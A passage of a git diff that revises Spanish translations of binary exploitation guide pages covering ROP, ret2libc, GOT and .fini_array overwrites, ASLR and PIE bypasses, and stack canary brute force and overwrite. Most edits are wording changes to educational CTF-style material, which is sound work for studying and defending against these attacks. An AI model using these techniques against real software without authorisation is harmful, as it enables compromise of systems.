Qué Dónde para Ejecución** en: ## Bucles Eternos -Algo a tener en cuenta es que, por lo general, **solo una explotación de una vulnerabilidad puede no ser suficiente** para ejecutar un exploit exitoso, especialmente algunas protecciones necesitan ser eludidas. Por lo tanto, es interesante discutir algunas opciones para **hacer que una sola vulnerabilidad sea explotable varias veces** en la misma ejecución del binario: +Algo a tener en cuenta es que generalmente **solo una explotación de una vulnerabilidad puede no ser suficiente** para ejecutar un exploit exitoso, especialmente algunas protecciones necesitan ser eludidas. Por lo tanto, es interesante discutir algunas opciones para **hacer que una sola vulnerabilidad sea explotable varias veces** en la misma ejecución del binario: -- Escribir en una **cadena ROP** la dirección de la **función `main`** o a la dirección donde está ocurriendo la **vulnerabilidad**. +- Escribir en una cadena **ROP** la dirección de la **función `main`** o a la dirección donde está ocurriendo la **vulnerabilidad**. - Controlando una cadena ROP adecuada, podrías ser capaz de realizar todas las acciones en esa cadena. - Escribir en la **dirección `exit` en GOT** (o cualquier otra función utilizada por el binario antes de finalizar) la dirección para **volver a la vulnerabilidad**. -- Como se explicó en [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** almacenar 2 funciones aquí, una para llamar a la vulnerabilidad nuevamente y otra para llamar a **`__libc_csu_fini`** que volverá a llamar a la función desde `.fini_array`. +- Como se explicó en [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** almacenar 2 funciones aquí, una para llamar a la vulnerabilidad nuevamente y otra para llamar a **`__libc_csu_fini`** que volverá a llamar a la función de `.fini_array`. ## Objetivos de Explotación @@ -56,11 +56,11 @@ Algo a tener en cuenta es que, por lo general, **solo una explotación de una vu - En un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), necesitarás eludirlo. - En un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), necesitarás eludirlo. - Si necesitas establecer varios parámetros para llamar correctamente a la función **ret2win**, puedes usar: -- Una **cadena ROP** si hay suficientes gadgets para preparar todos los parámetros. +- Una cadena [**ROP**](#rop-and-ret2...-techniques) **si hay suficientes gadgets** para preparar todos los parámetros. - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (en caso de que puedas llamar a esta syscall) para controlar muchos registros. - Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) y [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar varios registros. -- A través de un [**Escribir Qué Dónde**](../arbitrary-write-2-exec/index.html) podrías abusar de otras vulnerabilidades (no bof) para llamar a la función **`win`**. -- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección. +- A través de un [**Write What Where**](../arbitrary-write-2-exec/index.html) podrías abusar de otras vulnerabilidades (no bof) para llamar a la función **`win`**. +- [**Redirección de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección. - [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) podrían afectar las direcciones. - [**Variables No Inicializadas**](../stack-overflow/uninitialized-variables.md): Nunca se sabe. @@ -85,8 +85,8 @@ Algo a tener en cuenta es que, por lo general, **solo una explotación de una vu #### A través de libc - [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Útil para llamar a una función de una biblioteca (generalmente de **`libc`**) como **`system`** con algunos argumentos preparados (por ejemplo, `'/bin/sh'`). Necesitas que el binario **cargue la biblioteca** con la función que te gustaría llamar (libc generalmente). -- Si **compilado estáticamente y sin** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente. -- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y conociendo la versión de libc** cargada, la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente. +- Si **compilado estáticamente y sin** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas de forma estática. +- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y conociendo la versión de libc** cargada, la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas de forma estática. - Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **pero sin** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, conociendo la libc y con el binario usando la función `system`** es posible **`ret` a la dirección de system en el GOT** con la dirección de `'/bin/sh'` en el parámetro (necesitarás averiguarlo). - Con [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) pero sin [PIE](../common-binary-protections-and-bypasses/pie/index.html), conociendo la libc y **sin que el binario use la `system`**: - Usa [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver la dirección de `system` y llamarla. @@ -94,17 +94,17 @@ Algo a tener en cuenta es que, por lo general, **solo una explotación de una vu - **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **y sin conocer la libc**: Necesitas: - Eludir [**PIE**](../common-binary-protections-and-bypasses/pie/index.html). - Encontrar la **versión de `libc`** utilizada (filtrar un par de direcciones de funciones). -- Comprobar los **escenarios anteriores con ASLR** para continuar. +- Revisar los **escenarios anteriores con ASLR** para continuar. #### A través de EBP/RBP -- [**Pivotar Pila / EBP2Ret / Encadenamiento EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controlar el ESP para controlar RET a través del EBP almacenado en la pila. +- [**Pivotar la Pila / EBP2Ret / Encadenamiento EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controlar el ESP para controlar RET a través del EBP almacenado en la pila. - Útil para **desbordamientos de pila off-by-one**. -- Útil como una forma alternativa de terminar controlando EIP mientras se abusa de EIP para construir la carga útil en memoria y luego saltar a ella a través de EBP. +- Útil como una forma alternativa de terminar controlando EIP mientras abusas de EIP para construir la carga útil en memoria y luego saltar a ella a través de EBP. #### Varios -- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección. +- [**Redirección de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección. - [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) podrían afectar las direcciones. - [**Variables No Inicializadas**](../stack-overflow/uninitialized-variables.md): Nunca se sabe. diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index 7a17aa9f7..f6bc09284 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -45,7 +45,7 @@ Contiene las tablas de encabezados de programa y la metadata en sí. ### INTERP -Indica la ruta del cargador que se debe usar para cargar el binario en memoria. +Indica la ruta del cargador que se utilizará para cargar el binario en memoria. > Consejo: Los binarios vinculados estáticamente o estáticos-PIE no tendrán una entrada `INTERP`. En esos casos, no hay un cargador dinámico involucrado, lo que desactiva técnicas que dependen de él (por ejemplo, `ret2dlresolve`). @@ -64,7 +64,7 @@ Este encabezado ayuda a vincular programas a sus dependencias de biblioteca y ap Esto almacena información de metadata del proveedor sobre el binario. -- En x86-64, `readelf -n` mostrará las banderas `GNU_PROPERTY_X86_FEATURE_1_*` dentro de `.note.gnu.property`. Si ves `IBT` y/o `SHSTK`, el binario fue construido con CET (Seguimiento de Ramas Indirectas y/o Pila Sombra). Esto impacta ROP/JOP porque los objetivos de ramas indirectas deben comenzar con una instrucción `ENDBR64` y las devoluciones se verifican contra una pila sombra. Consulta la página de CET para más detalles y notas de elusión. +- En x86-64, `readelf -n` mostrará las banderas `GNU_PROPERTY_X86_FEATURE_1_*` dentro de `.note.gnu.property`. Si ves `IBT` y/o `SHSTK`, el binario fue construido con CET (Seguimiento de Ramas Indirectas y/o Pila Sombra). Esto impacta ROP/JOP porque los objetivos de ramas indirectas deben comenzar con una instrucción `ENDBR64` y las devoluciones se verifican contra una pila sombra. Consulta la página de CET para más detalles y notas de bypass. {{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md @@ -82,13 +82,13 @@ Contiene la configuración de la defensa de prevención de ejecución de pila. S ### GNU_RELRO -Indica la configuración RELRO (Reubicación Solo Lectura) del binario. Esta protección marcará como de solo lectura ciertas secciones de la memoria (como el `GOT` o las tablas `init` y `fini`) después de que el programa se haya cargado y antes de que comience a ejecutarse. +Indica la configuración RELRO (Reubicación Solo de Lectura) del binario. Esta protección marcará como de solo lectura ciertas secciones de la memoria (como el `GOT` o las tablas `init` y `fini`) después de que el programa se haya cargado y antes de que comience a ejecutarse. En el ejemplo anterior, está copiando 0x3b8 bytes a 0x1fc48 como de solo lectura, afectando las secciones `.init_array .fini_array .dynamic .got .data .bss`. Ten en cuenta que RELRO puede ser parcial o completo, la versión parcial no protege la sección **`.plt.got`**, que se utiliza para **vinculación perezosa** y necesita este espacio de memoria para tener **permisos de escritura** para escribir la dirección de las bibliotecas la primera vez que se busca su ubicación. -> Para técnicas de explotación y notas de elusión actualizadas, consulta la página dedicada: +> Para técnicas de explotación y notas de bypass actualizadas, consulta la página dedicada: {{#ref}} ../common-binary-protections-and-bypasses/relro.md @@ -270,7 +270,7 @@ Las entradas `DT_RPATH` (obsoleta) y/o `DT_RUNPATH` influyen en dónde el cargad ## Reubicaciones -El cargador también debe reubicar las dependencias después de haberlas cargado. Estas reubicaciones se indican en la tabla de reubicación en formatos REL o RELA y el número de reubicaciones se da en las secciones dinámicas RELSZ o RELASZ. +El cargador también debe reubicar dependencias después de haberlas cargado. Estas reubicaciones se indican en la tabla de reubicación en formatos REL o RELA y el número de reubicaciones se da en las secciones dinámicas RELSZ o RELASZ. ``` readelf -r lnstat @@ -342,15 +342,15 @@ Offset Info Type Sym. Value Sym. Name + Addend 00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 ``` -### Relocaciones Estáticas +### Relocalizaciones Estáticas -Si el **programa se carga en un lugar diferente** de la dirección preferida (generalmente 0x400000) porque la dirección ya está en uso o debido a **ASLR** o cualquier otra razón, una relocación estática **corrige punteros** que tenían valores esperando que el binario se cargara en la dirección preferida. +Si el **programa se carga en un lugar diferente** de la dirección preferida (generalmente 0x400000) porque la dirección ya está en uso o debido a **ASLR** o cualquier otra razón, una relocalización estática **corrige punteros** que tenían valores esperando que el binario se cargara en la dirección preferida. -Por ejemplo, cualquier sección de tipo `R_AARCH64_RELATIV` debería haber modificado la dirección en el sesgo de relocación más el valor del aditivo. +Por ejemplo, cualquier sección de tipo `R_AARCH64_RELATIV` debería haber modificado la dirección en el sesgo de relocalización más el valor del aditivo. -### Relocaciones Dinámicas y GOT +### Relocalizaciones Dinámicas y GOT -La relocación también podría hacer referencia a un símbolo externo (como una función de una dependencia). Como la función malloc de libC. Entonces, el cargador al cargar libC en una dirección, al verificar dónde se carga la función malloc, escribirá esta dirección en la tabla GOT (Tabla de Desplazamiento Global) (indicado en la tabla de relocación) donde debería especificarse la dirección de malloc. +La relocalización también podría hacer referencia a un símbolo externo (como una función de una dependencia). Como la función malloc de libC. Entonces, el cargador al cargar libC en una dirección, al verificar dónde se carga la función malloc, escribirá esta dirección en la tabla GOT (Tabla de Desplazamiento Global) (indicado en la tabla de relocalización) donde debería especificarse la dirección de malloc. ### Tabla de Enlace de Procedimientos @@ -360,18 +360,20 @@ Así que cuando un programa llama a malloc, en realidad llama a la ubicación co #### Comportamientos de enlace moderno que impactan la explotación -- `-z now` (Full RELRO) desactiva el enlace perezoso; las entradas PLT aún existen, pero GOT/PLT está mapeado como solo lectura, por lo que técnicas como **sobrescritura de GOT** y **ret2dlresolve** no funcionarán contra el binario principal (las bibliotecas pueden seguir siendo parcialmente RELRO). Ver: +- `-z now` (Full RELRO) desactiva el enlace perezoso; las entradas PLT aún existen, pero GOT/PLT está mapeado como solo lectura, por lo que técnicas como **GOT overwrite** y **ret2dlresolve** no funcionarán contra el binario principal (las bibliotecas pueden seguir siendo parcialmente RELRO). Ver: + {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} -- `-fno-plt` hace que el compilador llame a funciones externas a través de la **entrada GOT directamente** en lugar de pasar por el stub PLT. Verás secuencias de llamadas como `mov reg, [got]; call reg` en lugar de `call func@plt`. Esto reduce el abuso de ejecución especulativa y cambia ligeramente la búsqueda de gadgets ROP alrededor de los stubs PLT. +- -fno-plt hace que el compilador llame a funciones externas a través de la **entrada GOT directamente** en lugar de pasar por el stub PLT. Verás secuencias de llamadas como mov reg, [got]; call reg en lugar de call func@plt. Esto reduce el abuso de ejecución especulativa y cambia ligeramente la búsqueda de gadgets ROP alrededor de los stubs PLT. -- PIE vs static-PIE: PIE (ET_DYN con `INTERP`) necesita el cargador dinámico y soporta la maquinaria usual de PLT/GOT. Static-PIE (ET_DYN sin `INTERP`) tiene relocaciones aplicadas por el cargador del kernel y no `ld.so`; espera que no haya resolución de PLT en tiempo de ejecución. +- PIE vs static-PIE: PIE (ET_DYN con INTERP) necesita el cargador dinámico y soporta la maquinaria usual de PLT/GOT. Static-PIE (ET_DYN sin INTERP) tiene relocalizaciones aplicadas por el cargador del kernel y no ld.so; espera que no haya resolución de PLT en tiempo de ejecución. > Si GOT/PLT no es una opción, pivotea a otros punteros de código escribibles o usa ROP/SROP clásico en libc. + {{#ref}} ../arbitrary-write-2-exec/aw2exec-got-plt.md {{#endref}} @@ -401,7 +403,7 @@ return 0; ``` Tenga en cuenta que estas variables globales se encuentran en `.data` o `.bss`, pero en las listas `__CTOR_LIST__` y `__DTOR_LIST__` se almacenan los objetos para inicializar y destruir con el fin de hacer un seguimiento de ellos. -Desde el código C es posible obtener el mismo resultado utilizando las extensiones de GNU: +Desde el código C, es posible obtener el mismo resultado utilizando las extensiones de GNU: ```c __attributte__((constructor)) //Add a constructor to execute before __attributte__((destructor)) //Add to the destructor list @@ -414,7 +416,7 @@ Además, también es posible tener un **`PREINIT_ARRAY`** con **punteros** que s #### Nota de explotación -- Bajo Partial RELRO, estos arreglos viven en páginas que aún son escribibles antes de que `ld.so` cambie `PT_GNU_RELRO` a solo lectura. Si obtienes una escritura arbitraria lo suficientemente pronto o puedes apuntar a los arreglos escribibles de una biblioteca, puedes secuestrar el flujo de control sobrescribiendo una entrada con una función de tu elección. Bajo Full RELRO, son de solo lectura en tiempo de ejecución. +- Bajo Partial RELRO, estos arreglos viven en páginas que aún son escribibles antes de que `ld.so` cambie `PT_GNU_RELRO` a solo lectura. Si obtienes una escritura arbitraria lo suficientemente temprano o puedes apuntar a los arreglos escribibles de una biblioteca, puedes secuestrar el flujo de control sobrescribiendo una entrada con una función de tu elección. Bajo Full RELRO, son de solo lectura en tiempo de ejecución. - Para el abuso de enlace perezoso del enlazador dinámico para resolver símbolos arbitrarios en tiempo de ejecución, consulta la página dedicada: @@ -437,9 +439,9 @@ Se definen utilizando la palabra clave **`__thread_local`** en C++ o la extensi Cada hilo mantendrá una ubicación única para esta variable, por lo que solo el hilo puede acceder a su variable. -Cuando se utiliza esto, las secciones **`.tdata`** y **`.tbss`** se utilizan en el ELF. Que son como `.data` (inicializado) y `.bss` (no inicializado) pero para TLS. +Cuando se utiliza esto, se usan las secciones **`.tdata`** y **`.tbss`** en el ELF. Que son como `.data` (inicializado) y `.bss` (no inicializado) pero para TLS. -Cada variable tendrá una entrada en el encabezado TLS que especifica el tamaño y el desplazamiento TLS, que es el desplazamiento que utilizará en el área de datos local del hilo. +Cada variable tendrá una entrada en el encabezado TLS que especifica el tamaño y el desplazamiento TLS, que es el desplazamiento que utilizará en el área de datos locales del hilo. El `__TLS_MODULE_BASE` es un símbolo utilizado para referirse a la dirección base del almacenamiento local por hilo y apunta al área en memoria que contiene todos los datos locales por hilo de un módulo. diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index 997130b85..485292be0 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -4,7 +4,7 @@ ## Información Básica -**Address Space Layout Randomization (ASLR)** es una técnica de seguridad utilizada en sistemas operativos para **aleatorizar las direcciones de memoria** utilizadas por los procesos del sistema y de la aplicación. Al hacerlo, se dificulta significativamente que un atacante prediga la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, particularmente desbordamientos de búfer. +**Address Space Layout Randomization (ASLR)** es una técnica de seguridad utilizada en sistemas operativos para **aleatorizar las direcciones de memoria** utilizadas por procesos del sistema y de aplicaciones. Al hacerlo, dificulta significativamente que un atacante prediga la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, particularmente desbordamientos de búfer. ### **Verificando el Estado de ASLR** @@ -31,11 +31,11 @@ setarch `uname -m` -R ./bin args ``` ### **Habilitando ASLR** -Para **habilitar** ASLR, puedes escribir un valor de **2** en el archivo `/proc/sys/kernel/randomize_va_space`. Esto generalmente requiere privilegios de root. La habilitación de la aleatorización completa se puede hacer con el siguiente comando: +Para **habilitar** ASLR, puedes escribir un valor de **2** en el archivo `/proc/sys/kernel/randomize_va_space`. Esto generalmente requiere privilegios de root. Habilitar la aleatorización completa se puede hacer con el siguiente comando: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` -### **Persistencia a Través de Reinicios** +### **Persistencia a través de reinicios** Los cambios realizados con los comandos `echo` son temporales y se restablecerán al reiniciar. Para hacer que el cambio sea persistente, necesitas editar el archivo `/etc/sysctl.conf` y agregar o modificar la siguiente línea: ```tsconfig @@ -57,9 +57,9 @@ PaX divide el espacio de direcciones del proceso en **3 grupos**: - **Código y datos** (inicializados y no inicializados): `.text`, `.data` y `.bss` —> **16 bits** de entropía en la variable `delta_exec`. Esta variable se inicializa aleatoriamente con cada proceso y se suma a las direcciones iniciales. - **Memoria** asignada por `mmap()` y **bibliotecas compartidas** —> **16 bits**, llamada `delta_mmap`. -- **La pila** —> **24 bits**, referida como `delta_stack`. Sin embargo, utiliza efectivamente **11 bits** (del 10º al 20º byte inclusive), alineados a **16 bytes** —> Esto resulta en **524,288 posibles direcciones de pila reales**. +- **La pila** —> **24 bits**, referida como `delta_stack`. Sin embargo, utiliza efectivamente **11 bits** (del décimo al vigésimo byte inclusive), alineados a **16 bytes** —> Esto resulta en **524,288 posibles direcciones de pila reales**. -Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR reintentando la ejecución una y otra vez hasta que el exploit se complete con éxito. +Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR al reintentar la ejecución una y otra vez hasta que el exploit se complete con éxito. #### Ideas de fuerza bruta: @@ -151,19 +151,19 @@ El archivo **`/proc/[pid]/stat`** de un proceso siempre es legible por todos y * - **startstack**: La dirección del inicio de la **pila** - **start_data** & **end_data**: Direcciones por encima y por debajo donde está el **BSS** - **kstkesp** & **kstkeip**: Direcciones actuales de **ESP** y **EIP** -- **arg_start** & **arg_end**: Direcciones por encima y por debajo donde están los **argumentos cli**. +- **arg_start** & **arg_end**: Direcciones por encima y por debajo donde están los **argumentos de cli**. - **env_start** & **env_end**: Direcciones por encima y por debajo donde están las **variables de entorno**. -Por lo tanto, si el atacante está en la misma computadora que el binario que se está explotando y este binario no espera el desbordamiento de argumentos en bruto, sino de una **entrada diferente que se puede crear después de leer este archivo**. Es posible que un atacante **obtenga algunas direcciones de este archivo y construya offsets a partir de ellas para la explotación**. +Por lo tanto, si el atacante está en la misma computadora que el binario que se está explotando y este binario no espera el desbordamiento de argumentos en bruto, sino de una **entrada que se puede crear después de leer este archivo**. Es posible que un atacante **obtenga algunas direcciones de este archivo y construya offsets a partir de ellas para la explotación**. > [!TIP] > Para más información sobre este archivo, consulta [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) buscando `/proc/pid/stat` ### Tener un leak -- **El desafío es proporcionar un leak** +- **El desafío es dar un leak** -Si se te proporciona un leak (desafíos CTF fáciles), puedes calcular offsets a partir de él (suponiendo, por ejemplo, que conoces la versión exacta de libc que se utiliza en el sistema que estás explotando). Este ejemplo de explotación se extrae de [**ejemplo de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consulta esa página para más detalles): +Si se te da un leak (desafíos CTF fáciles), puedes calcular offsets a partir de él (suponiendo, por ejemplo, que conoces la versión exacta de libc que se utiliza en el sistema que estás explotando). Este ejemplo de explotación se extrae de [**ejemplo de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consulta esa página para más detalles): ```python from pwn import * @@ -192,6 +192,7 @@ p.interactive() Abusando de un desbordamiento de búfer, sería posible explotar un **ret2plt** para exfiltrar una dirección de una función de la libc. Ver: + {{#ref}} ret2plt.md {{#endref}} @@ -273,7 +274,7 @@ gef➤ x/4i 0xffffffffff600800 ``` ### vDSO -Nota, por lo tanto, cómo podría ser posible **eludir ASLR abusando del vdso** si el kernel está compilado con CONFIG_COMPAT_VDSO, ya que la dirección del vdso no será aleatorizada. Para más información, consulta: +Note que podría ser posible **eludir ASLR abusando del vdso** si el kernel está compilado con CONFIG_COMPAT_VDSO, ya que la dirección del vdso no será aleatorizada. Para más información, consulta: {{#ref}} ../../rop-return-oriented-programing/ret2vdso.md diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index 5083cc9f2..37435b412 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -9,9 +9,9 @@ Un binario compilado como PIE, o **Ejecutable Independiente de Posición**, sign El truco para explotar estos binarios radica en explotar las **direcciones relativas**: los desplazamientos entre partes del programa permanecen iguales incluso si las ubicaciones absolutas cambian. Para **eludir PIE, solo necesitas filtrar una dirección**, típicamente desde la **pila** utilizando vulnerabilidades como ataques de formato de cadena. Una vez que tienes una dirección, puedes calcular otras por sus **desplazamientos fijos**. Una pista útil al explotar binarios PIE es que su **dirección base típicamente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser un **chequeo crítico si un exploit no está funcionando** como se esperaba, indicando si se ha identificado la dirección base correcta.\ -O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí puedes **calcular los desplazamientos** de funciones y ubicaciones. +O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí puedes simplemente **calcular los desplazamientos** de funciones y ubicaciones. -## Bypasses +## Elusiones Para eludir PIE es necesario **filtrar alguna dirección del binario cargado**, hay algunas opciones para esto: @@ -19,6 +19,7 @@ Para eludir PIE es necesario **filtrar alguna dirección del binario cargado**, - Ser **dado** el leak (común en desafíos CTF fáciles, [**ver este ejemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) - **Fuerza bruta de los valores EBP y EIP** en la pila hasta que filtren los correctos: + {{#ref}} bypassing-canary-and-pie.md {{#endref}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md index 156ec9555..60f32fe45 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -10,7 +10,7 @@ ## **Stack Smash Protector (ProPolice) `-fstack-protector`:** -Este mecanismo coloca un **canary** antes del **EBP**, y reorganiza las variables locales para posicionar los búferes en direcciones de memoria más altas, evitando que sobrescriban otras variables. También copia de manera segura los argumentos pasados en la pila por encima de las variables locales y utiliza estas copias como argumentos. Sin embargo, no protege los arreglos con menos de 8 elementos o los búferes dentro de la estructura de un usuario. +Este mecanismo coloca un **canary** antes del **EBP**, y reorganiza las variables locales para posicionar los búferes en direcciones de memoria más altas, evitando que sobrescriban otras variables. También copia de manera segura los argumentos pasados en la pila por encima de las variables locales y utiliza estas copias como argumentos. Sin embargo, no protege arreglos con menos de 8 elementos o búferes dentro de la estructura de un usuario. El **canary** es un número aleatorio derivado de `/dev/urandom` o un valor predeterminado de `0xff0a0000`. Se almacena en **TLS (Thread Local Storage)**, permitiendo que los espacios de memoria compartidos entre hilos tengan variables globales o estáticas específicas del hilo. Estas variables se copian inicialmente del proceso padre, y los procesos hijos pueden alterar sus datos sin afectar al padre o a los hermanos. Sin embargo, si se utiliza un **`fork()` sin crear un nuevo canary, todos los procesos (padre e hijos) comparten el mismo canary**, lo que lo hace vulnerable. En la arquitectura **i386**, el canary se almacena en `gs:0x14`, y en **x86_64**, en `fs:0x28`. @@ -20,9 +20,9 @@ Cuando un servidor web utiliza `fork()`, permite un ataque de fuerza bruta para ### Longitudes -En binarios `x64`, el canary cookie es un **`0x8`** byte qword. Los **primeros siete bytes son aleatorios** y el último byte es un **byte nulo.** +En binarios `x64`, la cookie del canary es un **`0x8`** byte qword. Los **primeros siete bytes son aleatorios** y el último byte es un **byte nulo.** -En binarios `x86`, el canary cookie es un **`0x4`** byte dword. Los **primeros tres bytes son aleatorios** y el último byte es un **byte nulo.** +En binarios `x86`, la cookie del canary es un **`0x4`** byte dword. Los **primeros tres bytes son aleatorios** y el último byte es un **byte nulo.** > [!CAUTION] > El byte menos significativo de ambos canaries es un byte nulo porque será el primero en la pila proveniente de direcciones más bajas y, por lo tanto, **las funciones que leen cadenas se detendrán antes de leerlo**. @@ -31,13 +31,15 @@ En binarios `x86`, el canary cookie es un **`0x4`** byte dword. Los **primeros t **Filtrar el canary** y luego sobrescribirlo (por ejemplo, desbordamiento de búfer) con su propio valor. -- Si el **canary se bifurca en procesos hijos**, podría ser posible **forzarlo** byte por byte: +- Si el **canary se bifurca en procesos hijos**, podría ser posible **forzarlo** un byte a la vez: + {{#ref}} bf-forked-stack-canaries.md {{#endref}} -- Si hay alguna **filtración interesante o vulnerabilidad de lectura arbitraria** en el binario, podría ser posible filtrarlo: +- Si hay alguna **vulnerabilidad de filtrado o lectura arbitraria** interesante en el binario, podría ser posible filtrarlo: + {{#ref}} print-stack-canary.md @@ -45,7 +47,8 @@ print-stack-canary.md - **Sobrescribiendo punteros almacenados en la pila** -La pila vulnerable a un desbordamiento de pila podría **contener direcciones a cadenas o funciones que pueden ser sobrescritas** para explotar la vulnerabilidad sin necesidad de alcanzar el canary de la pila. Verifica: +La pila vulnerable a un desbordamiento de pila podría **contener direcciones a cadenas o funciones que pueden ser sobrescritas** para explotar la vulnerabilidad sin necesidad de alcanzar el canary de la pila. Ver: + {{#ref}} ../../stack-overflow/pointer-redirecting.md @@ -53,19 +56,19 @@ La pila vulnerable a un desbordamiento de pila podría **contener direcciones a - **Modificando tanto el canary maestro como el de hilo** -Un desbordamiento de búfer en una **función con hilos** protegida con canary puede ser utilizado para **modificar el canary maestro del hilo**. Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canaries que son los mismos (aunque modificados). +Un desbordamiento de búfer en una función con hilos protegida con canary puede ser utilizado para **modificar el canary maestro del hilo**. Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canaries que son iguales (aunque modificados). -Además, un desbordamiento de búfer en una **función con hilos** protegida con canary podría ser utilizado para **modificar el canary maestro almacenado en el TLS**. Esto se debe a que podría ser posible alcanzar la posición de memoria donde se almacena el TLS (y, por lo tanto, el canary) a través de un **bof en la pila** de un hilo.\ -Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canaries que son los mismos (aunque modificados).\ -Este ataque se realiza en el informe: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +Además, un desbordamiento de búfer en una función con hilos protegida con canary podría ser utilizado para **modificar el canary maestro almacenado en el TLS**. Esto se debe a que podría ser posible alcanzar la posición de memoria donde se almacena el TLS (y, por lo tanto, el canary) a través de un **bof en la pila** de un hilo.\ +Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canaries que son iguales (aunque modificados).\ +Este ataque se realiza en el writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Ver también la presentación de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que generalmente el **TLS** se almacena mediante **`mmap`** y cuando se crea una **pila** de **hilo** también se genera mediante `mmap`, lo que podría permitir el desbordamiento como se mostró en el informe anterior. +Ver también la presentación de 